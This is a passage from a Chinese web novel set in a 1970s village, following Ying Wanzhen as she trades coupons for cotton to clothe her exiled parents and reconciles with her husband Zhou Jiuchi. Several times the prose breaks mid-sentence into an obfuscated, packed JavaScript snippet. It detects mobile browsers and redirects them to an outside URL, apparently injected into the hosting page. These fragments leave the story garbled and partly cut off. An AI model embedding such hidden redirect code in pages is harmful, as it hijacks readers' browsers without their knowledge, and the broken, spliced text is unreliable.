大娘倒是兴奋起来,“大妹子,要不你把你的布票匀我一张,我闺女马上就结婚了,我想着给她做身新衣服,可是我这就一张五尺的布票,你放心,我也不让你吃亏,我闺女不是要结婚了嘛!特意托人换了不少棉花,给她做被子,特意多换了些。” “真的啊,大娘,那你棉花有多少?” 大娘伸出两根手指。 “四两啊?” “说什么呢,四两还咋做衣裳,四斤!” 应晚真这才惊讶了,“四斤,大娘你怎么有这么多?” 大娘小声说:“我娘家那边就是种棉花的,这不我闺女要嫁了,让我娘家给我存了不少,我闺女要的喜被已经做好了,还多了四斤,我本来打算用来把自家旧被子翻新一下,不过这不遇见你了吗?你要是想要,不嫌弃的话我就给你换!” 应晚真当然没有不答应的,毕竟现在她最缺的就是棉花了,“大娘,你这说的哪里话,你愿意帮助我我高兴都来不及,”说着应晚真悄悄看了看周围,“大娘,你看你要多少尺的?” 大娘看着这布票很是心动,毕竟棉花对她来说是比较容易得到的东西,但是布票就不是了,要是多点布票,除了可以给自己女儿添一身衣服,还可以给自己儿子也做一点,“大妹子,我呢给我闺女做一身衣服还差五尺,你这边可以的话让我五尺,要是你布票有多,那就多让一点给我,我家里还有个小儿子,他马上也工作了,添件上衣啥的也合适!” 应晚真知道这布票过几年就没用了,再说了现在这时候,她也不可能做什么新衣服,会被别人抓住把柄,索性也就拿出一张十尺的一张五尺的,“大娘,我爹娘也用那么多,这些你要就拿!” 大娘也没说什么,接过布票看前面的人买完了抓紧跟应晚真说,“大妹子,我先买,我买完就在这等你!” 应晚真点头应好,她也不担心大娘会把自己的票骗走,毕竟这地方就这么点大,况且现在抓得那么严,要是她真的是骗子,那也不至于自己真的来买布料。 一直等到应晚真买的时候,大娘还是满面笑容的,“我就在这站着哈,等你一会儿!” 应晚真含笑点头。 她看了现在供销社拥有的布,只剩下几匹红色的,不过也不是啥畅销的,因为现在也只有做喜事的人才会穿红色的,其他的最时兴的是军绿色,现在也还有一些绿色的布料。 不过她没有选择这些颜色的,因为现在她父母所处的环境,还是越低调越好! 最后她买了十五尺蓝色的布料。 等买好后,应晚真就跟着大娘去了她家,她家也就在县城里,住在筒子楼里,而且一路上都在和别人打招呼,可见这人的好人缘。 很快就到了一家看起来就干净的门口。 “大妹子,我家里人现在都上班去了,你先进来喝口水!我现在就去把那些棉花拿出来,我娘家那边就产这些,所以弄起来容易点。你刚给我15尺布票,我给你四斤棉花,刚刚你也知道,供销社的棉花一块一一斤,再加上棉花票,布票珍惜,有钱也换不来,大妹子你一下子分我15尺,我跟你也和眼缘,外面收布票一尺一般是6毛,当然不同光景价钱也不一样, “十五尺总共就是9块钱,我这棉花总共是4块4再加上四斤的棉花票,你看?” 应晚真也知道这就是市场上的价格,谁也没坑谁,“大娘,你说的准,我手上也只有两斤的棉花票,你看下你要不要这个棉花票,不要的话咱们就折算成钱?” 大娘琢磨了一下,“我娘家那边就种棉花,每年也分一点,我娘家也疼我,你要是还需要棉花,那这票你就留着,不需要给大娘也需得着!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420820|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我就得占点大娘的便宜了,我家应该也还需要棉花,要不然就折算成钱吧!” 最后棉花票就按照市场的价格7毛钱算,大娘再给应晚真一块八! 不过应晚真也没真心接,反而问道,“大娘,你知道这附近哪里有人愿意帮忙做衣服的不?” 大娘这才明白应晚真不接的意思,“这你就问对人了,我知道一家,她家也就是农闲时接点活!而且还会弹棉花,弹棉被,我闺女的喜被就是让他们做的,你跟着我,我带着你去!” 应晚真跟着大娘去了隔壁街的一栋矮楼,虽然不是现在大家喜欢的筒子楼,但是胜在干净。 这家人也很友好,因为是认识的人带来的,所以裁缝想也没想就接单了。 应晚真打算做两条棉裤,父母一人一条,因为父母棉衣是有,但是没有厚裤子,而且一般睡觉的时候都是脚最难暖和起来。 她把十尺布还有四斤棉花都留在了裁缝那,也叮嘱裁缝如果有多余的布料,让她看着做成帽子挎包啥的。 等应晚真和大娘告别之后,应晚真也打算回村子里了。 今天她的主要目的就是去给自己父母置办冬衣。 至于手里剩下的五尺布,应晚真是打算把它当做窗帘的,因为现在她在周久迟的屋子里,窗户是对着后园的,应晚真经常可以看见家里人在园子里忙活,她不喜欢,而且她也不想用报纸把窗户都堵起来,当然也不是非要把这匹布做成窗帘,只是无论用什么做,也需要材料,也可以看看家里有没有可以替换的。 应晚真直接自己步行往村子赶,倒不是她想走路,只是不想和人说话,要是坐牛车,那牛车里的人肯定要和自己说话,她懒得应对。 走到一半,应晚真远远地就听见了货车的声音,等转头一看,一辆货车由远及近,还在应晚真面前停下。 “晚真,你怎么在这?来,上车!” 周久迟推开副驾驶的位置,忙把应晚真手里的东西接过去,“上车吧,我也回村里。” 应晚真对周久迟的车挺稀奇的,她很少坐他的车,前世她为了不坐他的车,远远听见他车的声音就躲起来的,因为她不想真的跟村里人说的那样是图周久迟的工作图周久迟能挣钱,也不想欠他更多,虽然前世她确实是依靠周久迟才让自己不会过得那么艰难。 “你今天怎么把车开回来了?” “村里要上交公粮了,我开车回来正好把粮食运过去,等到了前面的村子,顺便把他们村子的也运过去。” 这事应晚真倒是有印象,不过她一直有个问题很好奇,“你把公家的车开过来用没关系嘛?” 周久迟弯起了眉眼,“没事,又不是经常用,而且交公粮是大事,上面都是知道的。当然为了不让人占便宜,这用车除了不能损坏,还要交点油钱。” 周久迟从镜子里偷偷看了看应晚真的脸,虽只是那么一眼,但是他也跟触到什么似的很快转移了视线,“油费也不贵,一趟也就一块二,村里直接就出了。” 周久迟余光看见应晚真认真听的模样,不禁打开了话匣子,“以前交公粮都是大家自己担着去,从村里到粮供所差不多十七里路,一路担过去,而且一人还不止一趟,交个公粮都要好几天,再加上粮供所核对的时间,五六天总是要的!现在花个一块多,半天就能弄完的事,大家也不用那么辛苦!” 16. 第 16 章 “那你这次给村里交完粮,在家休息几天?” 周久迟原以为她愿意听自己说话就已经是难得了,没想到现在直接问自己休息的时候。 他喉头有些紧,但也顾不了了,急急开口,“明天帮忙交公粮,后天在家休息一天!” 说着,他有些忐忑地问,“你今天上县城是干嘛?” 可余光一看见那匹布料,周久迟就有点后悔,连忙补救,“你买布是干什么?” 话刚说完,周久迟恨不得把自己的舌头咬掉,现在买布能干嘛,布不就是做衣裳?还问,还问,也不怕嫌烦,要是媳妇……更嫌弃自己可怎么办。 心里媳妇这个念头一冒出来,一股热气就涌上了自己的脑门,这……这,这自己怎么能说这两个字呢,不,也没说,但是想想……也很…… “我觉得咱们屋里窗子太透光了,想拿点东西遮一遮,但是糊报纸就太暗了,以后也不好清理,所以想弄个窗帘!” 说着,应晚真也知道自己买五尺新布就为了窗帘,传出去这思想可不好,“你知道家里有什么旧一点的布嘛?我拿旧一点的布做窗帘,新的布拿去其他作用也行!” 周久迟想了想,家里还真没有什么可以当做窗帘的布料,但是要是用新的布当窗帘,肯定是不合适的,虽然是自己屋里,但不就是因为窗子能看到里面所以就要挂个窗帘嘛! “我以前参军的时候有个被垫,军绿色的,蛮大一块,现在垫在咱们床下,这个用得挺旧的了,还破了两个洞,但是都缝好了,拿这个当窗帘你看合适吗?” 应晚真听到绿色的时候还很犹豫,毕竟是现在时兴的颜色,不过既然旧了还补过,那就最好不过了。 “当然合适了,但我这五尺的布也不够咱们当被单啊!” “不就是一个垫的嘛!没事!咱们被褥挺厚!要不要这个被垫都没事!”周久迟看见应晚真狐疑的眼神,马上解释道,“本来我们床下面就有一张席子,席子上面就是我那个被垫,被垫再上面就是床垫,床垫上面还有一个床单, “之前我退伍回家的时候,我大哥二哥都想要我的这个被垫,但是两家人我怎么给,而且我也认被子,这些我一直用的东西也不喜欢给别人用,后来就都没给,而且那时候二嫂还闹了,不过我还是没给,我娘也不会惯着的!” 应晚真点点头,“那也行,那就把这个床垫的抽出来当窗帘吧!” “嗯,你也别担心他们会生气,这本来就是咱们的东西,想怎么用就怎么用!” “行!那我这五尺布用来干什么呢?”应晚真突然有点后悔买这么多了!毕竟现在也没什么用处,五尺布最多也就做一件衣服,总不能自己爸一件妈两件或者爸两件妈一件吧! 周久迟刚想说,你拿着自己做件衣服,可话到嘴边就咽下去了,这个颜色又暗又沉的,一点儿也不适合自己媳……妇……周久迟一想到这两个字的时候就忍不住脸红,但是一想到这个词他就禁不住的高兴。 应晚真转身的时候就看见这样的周久迟,“怎么了?你笑什么?” 周久迟连忙收起自己的笑,“我想着快到家了!不知道娘弄了些什么好吃的!” 应晚真也被他带跑了,也想着今天谢母会做些什么好吃的呢?尽管她的厨艺一般,但出门这么久了,她还真是有点饿了。 果然不出所料,谢母今天做的是豆腐炖鲫鱼,豆腐是村里人今天磨得,她拿了两把豆子换,鲫鱼则是村子里的池塘上抓的。 “回来了!今天回来得正是时候,娘炖了豆腐鲫鱼!” “真的呀!那我可就有口福了!”周久迟手里拿着布还有他在城里买的糕点。 孙盼娣端着鸡食喂鸡,听到这话又忍不住了,“还是三弟好,娘多疼你啊,你一回来啥好吃的都有!” 谢红英正在扫院子,顿时就举起了自己手上的扫把,“你是不吃吗?天天就知道叽叽歪歪!今晚你就别吃了!” 一听到不吃,孙盼娣眼睛都瞪大了,她不过是随口一说而已,他人又没有少块肉! 周久迟没搭理她,抱着布跟着应晚真回房。 谢红英刚骂完自己的二儿媳就看见自己三儿子回屋去了,她眼尖看见那匹布,也跟着进去。 不过刚到门口她就有点怯弱了,上次就是因为自己进了自己儿子的房间,然后这三儿媳就不高兴了。 可转念一想,现在自己儿子和儿媳妇都还没睡一块,再说了他们俩现在就在屋里她进去怎么了?要是不想跟着自己儿子好好过日子,那自己偶尔进进自己儿子房间怎么了,而且要不是上次她进去了,她都不知道他们竟然还是分开睡的! 想到这,谢红英不怵了,胆子也大了一点,但在进门前,她还是说了句,“儿子,我刚看你手里拿了块布,是要做什么啊,娘给你做!” 周久迟一听到自己娘的声音心里就有点生气,而且又是自己直接进来的,“娘,你咋又进来了,有事等我出去再说不好吗?” 谢红英看着自己皱着眉的儿子气不打一处来,眼睛一转就看见老三媳妇在收拾被单。 “这收拾被单是干啥?” “奥,娘,这不是过冬了嘛,趁着现在天气好,能洗的拿去洗了,再拿去晒晒!” 谢红英看着自己三儿媳温和的说话,再看见他们床上那界限分明的两个被窝!顿时心中胆起,她随意抱起一床被子,“是该洗洗了,你们屋里也多了一床被子,正好娘给你们收了!” 周久迟看着谢红英的动作,顿时心里一跳,他害怕应晚真会觉得自己跟那些人一样,就是有目的的,虽然自己是想和她永永远远,但是他不想是在她不愿意的情况下,也不愿意当初她嫁给自己的时候说的那些话都变成假的! 谢红英又何尝不是心里忐忑呢,她刚刚也就是脑子一热,但现在事情已经这样了,她也不可能说自己开玩笑,再说了现在儿子这婚姻可不能这样。 周久迟这边看见自己娘做出这样的动作顿时就吓坏了,他下意识就想阻止她可看到她的表情就知道她是铁了心了,转而看向应晚真。 应晚真其实只有最开始有一点惊讶,但是看到谢红英那梗起的脖子就明白了她的心思,其实应晚真理解。再看到周久迟的表情,应晚真不禁觉得有点好笑。 她沉思了一会儿,“嗯,好,娘。正好我也准备把这些拿去洗,不过下次不用自己亲自过来,让久迟送过去就行了。” 谢红英看应晚真没其他表示,也没什么嫌弃的模样,顿时心里也松了一口气,别看她刚刚这么虎,但其实心里一直提着,就担心这城市里的娃突然就不愿意跟自己儿子过了,虽然她知道应晚真成分不太好,但是儿子喜欢啊,要是真不跟儿子过了,儿子不得恨死自己! 周久迟愣了一下,他有些不确定地看向应晚真,但是他没从应晚真眼里看出一丝一毫的勉强嫌弃和不愿意。 “你还站着干什么,帮忙把被子什么的收拾一下吧,记得把门关上!” 一听到这话,周久迟就回过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420821|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神了,“娘,我来收拾啊,你先出去吧,还有记得把门带上,以后进我的房间也要敲门,上次都跟你说了!” 谢红英看两人相处都没啥毛病,心里的大石头也总算落了点,这会而听见自己儿子的嫌弃,也不在乎,“知道了知道了,娘还会偷你东西不成!” “不是!我都结婚了,你哪能还像我小时候那样随便进我的房间,要是我在房间做点事你这不是不方便吗?” 一听到做点事,不方便,谢红英顿时就红光满面了,“行行行!知道了,你放心吧,以后进你的房间一定先敲门!” 周久迟送走自己娘,马上半蹲在应晚真的面前,他的声音有些抖又有些不可置信,“晚真……” “嗯。” 周久迟看着应晚真这个态度顿时有点不明白她的意思了。 就在他纠结的时候,应晚真终于开口了。 “你还记得我们结婚之前说的吗?” 周久迟想起之前结婚时候自己说的话,顿时眼睛就暗淡了,他低头思考了很久,再抬起头的时候眼神很是坚定,“记得,是我太贪心了,我答应过你的,你放心,我说过的话就一定会做到。” 人的欲望是无法满足的,周久迟现在有点理解当初应晚真说的这句话了,现在就是这样,他一开始想和她结婚,除了喜欢何尝不是带有那种能够在一起的想法呢? 是她提出人的欲望是越来越大的,而自己也是思考了很多天后依然决定要娶应晚真的,但是这几天她带来的温暖,还有每个晚上从床上的另一边传来的那股子香气,已经快让他迷失自己了。 但是,他知道自己不能贪心。 应晚真听到这话,顿时有个答案出来了,她以前不是没遇到过其他人,只是一直都觉得周久迟最好,但一直说不出他到底哪里好,也许就是这个模样让自己喜欢吧。 “我知道,我也相信你。”应晚真轻声说,“不过我也说过,一切都是在变的,我最近在想,如果你一直都对我这么好,那么我想我们可以真的在一起!” 周久迟以为应晚真又要用她那温柔至极的嗓音说出一些非常让自己觉得难以企及的话了,但是没想到下一秒自己的耳朵里居然出现了他一直奢望又不敢想的。 “真的?” 应晚真动了动自己那被紧紧握住的手,“当然,不过还是有前提的!” “嗯,你说!”周久迟没有放开应晚真的手但换了个握手的方法让应晚真不会再感到难受。 “我们在一起是有前提的,第一个是你还是会对我这么好,第二,我也只是个小女生,我不喜欢自己的男人和别的女人有太多的纠葛,如果你喜欢上了别的女人,你放心我一定不会要你了!第三,我不要没有责任感没有担当的男人,也不要对我撒谎隐瞒我的男人! “无论发生以上任何一点,我都不会再继续和你在一起,那么最后我们之间的结局就是离婚。” “不要!”周久迟一听到离婚两个字心里就突突跳,感觉好像要呼吸不上来一样,而且脑海里好像闪过了两人离婚的画面一样,“你放心,我说的出就做得到!你……相信我!” 应晚真点点头,“好了,别蹲着了,现在还早,咱们把窗帘什么的弄好吧!” “行,那我把被子什么的拿出去晒,这绿色的被单我拿去洗,然后再挂上去。” …… 谢红英偷偷注意周久迟房里的动静,这会儿看见两个人一前一后抱着被子出来晒,顿时心里美的不行。 17. 第 17 章 晚上,应晚真看着面前这一床被褥顿时有点不知道该怎么办,虽然答应是自己答应的,前世两人连孩子都生了,但现在怎么都觉得难为情。 周久迟虽然激动,但也知道尊重应晚真的意见,“要不,你先睡,我在凳子上睡一宿就行了,我后天就要去出车。” “坐着怎么休息,”应晚真沉思了一会儿,“我们一起吧,你别挨我那么近就行,我现在还没准备好。” 等两个人躺在一起时,应晚真才发现不挨到对方是很难的事情,因为被子就那么大,两个人都想盖上那只能靠近一点。 为了防止两人不自在,应晚真先打开话题,“你后天出车是去哪里,要去多久?” “我后天去一趟市里,主要是一些木材,和以前一样也是三天就回来。我送完货会经过市里的百货大楼,你想要什么?我给你带回来!” 应晚真倒是对市里的百货大楼感兴趣,县城的百货商铺挺小的,也没什么东西,尽管她现在并不缺什么,“我暂时也不缺什么,”刚说完,应晚真就想起了自己父母,今天在县城的时候她注意了,这边没什么合适的热水壶,正好看看市里有没有, “不对,有,你送完货还有时间的话去一趟百货大楼看看有没有什么热水壶吧,暖手的那种,比如一个罐子里面灌满热水,外面在包一层布料正好可以暖手的那种!” 周久迟暗暗想着这东西应该在哪里有一边应,“好,到时候我给你带回来。” “……” 两人就在有一搭没一搭中睡着了。 第二天,周久迟就留着村里的粮食去交公粮,车上带着队长、会计和村长。 周大哥则去地里清沟渠。 现在离过年还有两个多月,地里割完稻子就种上了土豆,这年头没啥吃的,能多种点饱肚子就多种些,当然并不是所有稻田最后都种上了土豆,大队里还划分了一部分区域种油菜,等来年打了油菜籽送去油厂榨点油给村里人都分点,虽说现在是集体经济,但是这属于大队的,所以榨了油分给村里人也是被允许的。 当然种这些就不像秋收那样全部人出动,种下去之后留一部分人打理就行,其他人就被安排到挖塘泥,清沟渠了。 这些活都是为了年后春种准备的,把塘泥挖出来来年就好养殖,也好灌溉,至于沟渠这样下雨排水啥的也方便很多,不至于堵。 周久迟的大哥就被分到了清沟渠这个活,因为干这个得到的公分多。 周父年纪大了就和周二哥打理地里。 应晚真也是其中的一员,她只需要跟着拔草之类的就行,但刚翻过的地也没什么杂草,所以她这是个很清闲的活。 当然,家里的饭菜还是周家二嫂跟大嫂轮着做,应晚真是不做的。 本来是三个儿媳轮着做,但应晚真刚嫁进来的时候做过一两次,她做饭很慢,主要是她洗菜都是一点一点掰开来洗,而且还洗了不止一遍。现在用的水都是要担的,村子里总共就两口井,一口在晒谷场边上,还有一口在大队长家边上。 大队长家离应晚真家不远,两家还是亲兄弟,所以两家都是用同一口井。 但是应晚真并不太会担水,虽然她已经在这里生活了一段时间,但是担水这活应晚真是真的没怎么学会,就算要担,她也只能担大半桶,不能担满桶的。 不仅仅是因为才来这么一段时间,还因为那时候她担心家里父母还对自己的安全紧张,并且她从来没干过担水这种活,所以担水的时候她不是左□□倒就是把水洒了,就算能平安担回来,也只是一点水而已。 所以每次应晚真做饭的时候周久迟必然会早起把这些都弄好,不过一到应晚真做饭的那天,平日里足够的水肯定不够,所以周久迟得担更多水。 再加上应晚真以前不用村里的大灶,用的都是煤炉子,并且她做饭用的料都多,自然而然就被不喜。 况且周久迟还经常在外出车,所以应晚真总是要很久才能做好饭。 到最后周母就干脆不让应晚真做饭了。 大嫂和二嫂也没有什么意见,当然不是因为她们闲得喜欢干活,只是因为做饭能多点油水,比如老二家的,她就经常在做饭的时候偷吃点,周母也一直睁一只眼闭一只眼,更何况在家里做饭比在外面干活松快些,所以老大家的和老二家的对谢母不让应晚真做饭这件事也就没说什么。 晚上,等收拾好准备睡觉的时候周久迟突然拿出一个小布包递给应晚真。 应晚真一开始还没反应过来,等下一刻才恍然想起来这是前世他们两人放重要文件包括钱的包,“怎么了?” 周久迟有些不好意思,要不是灯光太暗太过昏黄,应晚真应该能看见周久迟脸上爬满了红色。 “这是我出去参军的时候第一次参加任务,完成得好我团长送给我的,我的证件还有这些年攒的钱都在这,你拿着。” 应晚真听到这个忍不住抬头看向周久迟,她只知道这是他们一直以来放贵重文件的包,可是从来不知道原来这是他这么珍贵的东西。 “给我?”应晚真有些不可置信地指着自己。 “是啊。咱们现在结婚了就是一体的,而且你不是说…可以和我在一起吗?那我这些肯定要给你的。” 应晚真顿时觉得眼眶有点热,前世两个人就只是用这个包放东西,周久迟从来没说过这些,“那如果我昨天没说可以和你在一起,那你还会给我吗?” “我肯定给你啊,不给你给谁?”周久迟有些急,“之前没给你是担心你不要,担心你害怕。” 应晚真敛下心里的情绪,心里暗暗下了决心。 不过她并没有表现出来,“那这是你的小金库了?” 周久迟听到小金库这个词顿时有点羞涩,“嗯,也没多少,而且也没有金子。” 应晚真眉眼弯弯,“那我可以看看吗?” “当然可以,这些都是给你的。” 应晚真一点点打开,借着昏黄的灯光,最里面是一张军队的奖状,“先进个人?你在部队里还是先进个人?” 周久迟心里有些骄傲,但嘴里还是说,“那都是以前的事了。” “那你是怎么退伍的?” 周久迟的骄傲一下子散去,不过还是解释道,“有一次出任务受了伤,我就退伍了。” 这事应晚真倒是不知道,她只知道村里都说他是退伍军人,但是她从来不知道他是因为什么退伍,“受伤?哪里?现在呢?还疼吗?” 周久迟心里一热,卷起裤腿指着一处有小臂那么宽的狰狞伤疤,“现在没事了,当初就是一些特殊训练不能做,后来我也不想安排一个闲职,就转业回家找了份开车的活。” 应晚真也没再细问,特殊训练什么的估计也是不能说的,而且她也不想引起他不好的回忆,看起来他还是很喜欢参军的。 她继续翻着手里这一叠,第二张就是他们的结婚证了,和他的先进个人整整齐齐放在一起。 她记得当初他们离婚怎么也找不到离婚证,后来补办才离婚。 想到这,应晚真马上抚了抚结婚证,“这个得放好了,以后离婚得要的。” 刚说完,应晚真就发现周久迟目光直直地看着自己,“怎么了?” 周久迟也不知道自己怎么了,反正一听到离婚这两个字他的心脏就跟被别人攥紧了一样,“你…不要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们不知道我攒了多少钱,以前基本都是花我的,他们都以为我的钱花完了,不过我今年涨工资了,每个月比以前多了5块,而且以前他们也不知道我每个月多少钱,只以为我一个月40块,但是我之前一个月就58块钱了。” “呀!你这个小机灵鬼!那你二哥二嫂知道了不会背后骂你吗?” 周久迟无所谓地说,“要骂就骂呗,骂出去也是我有理。” 应晚真看他这副模样,只觉得和自己印象里的周久迟越来越不一样了,但更有精气神了,“好了,收好吧,睡觉了!” 周久迟接过,他给了应晚真就没想再拿回去,“那我就放你箱子里?以后我每个月领了工资都给你。” 应晚真笑着嗔他,“赶紧睡吧,你明天还要出车,得休息好。” “嗯,听你的,你这几天想休息就休息,反正也没什么活了,而且几个公分而已,我养得起你!” 应晚真捏了捏周久迟的脸,“知道了,管事佬!” 说完,应晚真就躺下了,只不过还是背对着周久迟,似乎感觉到了他的失落,她缓缓开口,“我还有些不习惯,等你出车回来吧。” 周久迟一开始还没明白,等看到应晚真背对着自己,和自己也距离了一臂的距离这才明白她的意思。 过了好一会儿,应晚真才听到周久迟低低的一声嗯。 应晚真有点睡不着,但也有点累了,半梦半醒中,应晚真突然想起热水壶的事,“别忘了有空帮忙带一个热水壶回来,有两个也行。”说着,应晚真翻身下床,拿出自己的钱袋子,翻出二十块钱,想了想又拿出一张十块的。 “你拿着,要是看见了有记得帮我买回来。” 18. 第 18 章 周久迟心里有些不高兴,“拿钱干什么,我有钱,你要的我肯定给你带回来。” “这不是要买吗?得花钱啊。”应晚真说完突然意识到了什么,看着周久迟不太高兴的脸,“你有钱?” “那当然了,我有钱啊!” “可你刚刚不是都给我了吗?你还有私房钱?” 周久迟看着应晚真那微眯的眼神顿时觉得不妙,“没呢,我哪有,就是之前身上还有二十来块钱,还没来得及存进去。” 看着周久迟着急解释的模样,应晚真噗嗤一声笑出声来,“行,知道了,你出门在外,身上也要留点钱的。 “这些钱你也要拿着,这是用来买热水壶的,是给我父母的,我父母在西北的农场,那边冬天可冷了,我要给他们寄点保暖的东西去。” “爹和娘吗?在西北哪个位置你知道吗?” 应晚真对他脱口而出的爹和娘有些脸热,“在北大荒503农场,那边冬天本来就难过,我爸妈在那边肯定更不好过了,我昨天去县城就是去买棉花的,想给我爸我妈做一条棉裤。” “昨天买的布料是要给爸妈做裤子的?”周久迟听着应晚真对父母的称呼也就跟着改了。 “昨天买的布料有十尺已经给裁缝帮忙做了,也买了四斤棉花,打算做棉裤,我不会做,也不想把那么多东西带回来,不然我成分不好,被人看见我买了这么多东西到时候说不清楚,所以就直接送到裁缝那了,我带回来的是多买出来的布。” 周久迟了然地点点头,“行,那这次是还想买些什么?” “那边冬天太冷了,我想给他们准备个热水壶,到时候起来就有口热的喝,那边柴火煤炭也不知道够不够。如果明天你看见了暖手宝的话,也买上一两个吧,晚上睡觉被窝太冷了,有暖手宝正好让被窝暖暖,平常也可以用来暖身子。” “行,我到时候带回来。还要点什么吗?” 应晚真想了想,“你能买到糖吗?我没有糖票,我想给我爸妈寄点糖,不然那边条件艰苦我担心他们不够营养,有糖冲点糖水甜甜嘴也好。” “好,我有糖票,没有我就找人换。” “嗯嗯,再买点毛线。就这些吧,你把钱拿着,别拒绝,万一你身上的不够呢,再说了,出门在外身上就得有点钱。” “好!媳妇!” 听到这话,应晚真脸蹭的热起来,她瞪了一眼周久迟就上床了。 这句媳妇一直在周久迟嘴边,只是之前不好意思说,现在听到应晚真一点一点叮嘱自己,他是真的感受到了自己已经结婚了,是眼前这个眉眼含笑的人的丈夫,这声媳妇既是情不自禁的说出口,也是内心深处隐隐的一种期盼。 看着自己媳妇就在自己面前,他有点忍不住想要离得更近,可媳妇说还不习惯,也就等下次自己出车回来再说。 接下来的几天也没什么大事,秋收结束了,今年大头的事也算是结束了,接下来就是一些明年种植的准备工作,清河渠啥的。 当然除了这些,还有一件大事,那就是分粮。 公粮已经交完了,剩下的就是队里忙活了一整年的该分粮了。 分粮的这天周久迟还在外干活,他的粮油关系在县里,所以他是没有的。 以前没结婚的时候他的公分是记在自己爹娘名字上,结了婚之后就是记在自己媳妇身上。 不过家里还没分家,所以一大家的粮食还是一起领的。 应晚真印象里这次的分粮似乎也闹出了不少事,主要就是应晚真的工分不多,孙盼娣觉得自己干的活都用来养应晚真了。 孙盼娣这人只要没占到便宜就会生气,那时候似乎还闹了蛮大,最后还是周久迟回来直接跟孙盼娣呛了几声她才老实。 这么想着,应晚真还是跟着谢红英一起,她也不需要干什么,家里男丁已经够多了,她只需要站着排队就行了。 因为是分粮食的大事,大家伙基本上都出动了,就连小孩也都站在一旁看热闹。 还有不少小孩追追打打的,弄得一身泥,不过这时候大人也就是说两句就算了,毕竟是分粮的大日子,大家伙肯定都高兴。 不过就算是应晚真那么安静站在那,村子里也总是会有话题扯到她身上。 比如好事的婆子张老婆子,这会儿眼神就在应晚真和大着肚子的知青王倩倩身上转来转去,“我说张林就是有福气,你看和周老三差不多时间娶了个知青,你看这王倩倩,肚子都那么大了,还那么尖,一看就是个男孩,你看看这应知青,听说之前还不让男人碰,现在就站在那,自己吃得白白胖胖,肚子也没点动静。” 张老婆子说话声不大也不小,大家伙都能听见。 要是前世应晚真听到这话肯定默默走远一点,耳不听为净,但是这一次她知道了就是因为自己从不争辩,所以村里的闲话越来越多,导致后面自己和周久迟的矛盾越来越多,最后硬生生错过了那么多年。 “张婆婆,你这精神头还挺好的?看起来整个人都很利索啊!”应晚真笑着看向她,一副夸奖的模样。 张老婆子虽然不知道应晚真这唱的哪一出,不过既然说自己精神好,那自然她也不会说其他的,“那可不是,我从年轻的时候就勤快,现在是也是家里一把好手,我家里全是我打理的!”说着,她便开始骂自己的儿媳妇,“我那几个儿媳妇懒的不行,天天啥也不干,地不扫鸡不喂……” 张老婆子还想在说些什么,但是却被应晚真打断了,“哎呦,张婆婆你精神这么好,这些都干,看来还能干不少事,难怪还能趴在别人床底下呢?” 张婆子一听就炸了,“什么趴人家床底下了?我什么时候趴人家床底下了?” “我以为你趴我家男人床底下了,啥事你都知道!你是好这一口吗?难怪嘴那么臭。” 张老婆子嘴唇哆哆嗦嗦的,脸也气得胀红,“你……你……你满嘴喷什么粪?” “你是在说你自己吗?我跟我男人好着呢,你在这胡咧咧什么,我劝你啊,嘴里积点德吧?不为你,为你儿子为你孙子吧?” 应晚真一点都不遮掩地翻了个白眼,随着队伍往前走了,就留下张老婆子站在那气得发抖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这算是村子里还算可以的家庭了,其他人家能上一百块钱都算不错了,还有要吃倒挂的呢。 知青点的那些除了一些老知青领完粮食之外还能分钱,其他的基本上没有钱了。 这不看到这情况就有人开始酸了,“还是周家好啊,有那么多粮食,还有那么多钱,平日里自己儿子还有工资,这日子真的是有滋味啊!” 这话一出,大家原本分粮的好心情都没了,似有若无的视线一直盯着周久迟一家。 “我家全是半大小子,半大小子吃穷老子,这些粮食看着多也不禁造的,我这些钱还得换不少粮食呢,不然明年就得挨饿了。我家老三那是自己的本事,当初当兵也是自己去的,幸好选上了,不然我家可养不起那么多的孩子, “现在有工作也是他自己会开车换来的,而且我小儿子当年参军还受了点伤,你们平日里是看不出我儿子有啥问题,可他疼起来的时候那整个人都缩成一团,全身冷汗,我这当娘的看了都心疼,我都宁愿他不要那么拼,现在幸好有了份工作不然我都不知道该咋办才好。” 大家听着谢红英的话,也有点胆颤心里也算是舒服点了,毕竟遭了那么大罪。 “周老三也算是遭了罪,现在他有本事了,有工作了,你这当娘的就享福吧,等过段时间你儿媳妇再给你生个孙子,那日子可美了!” 谢红英冲着人笑笑,不再说话,她知道自己家的日子遭人记恨,所以平日里还是得诉诉苦的,不然就总有小人来犯你。 19. 第 19 章 当然谢红英刚刚说的话也不是假的,家里确实好几个半大的孩子正是能吃的时候,不多买点粮食,明年是真的要挨饿的。 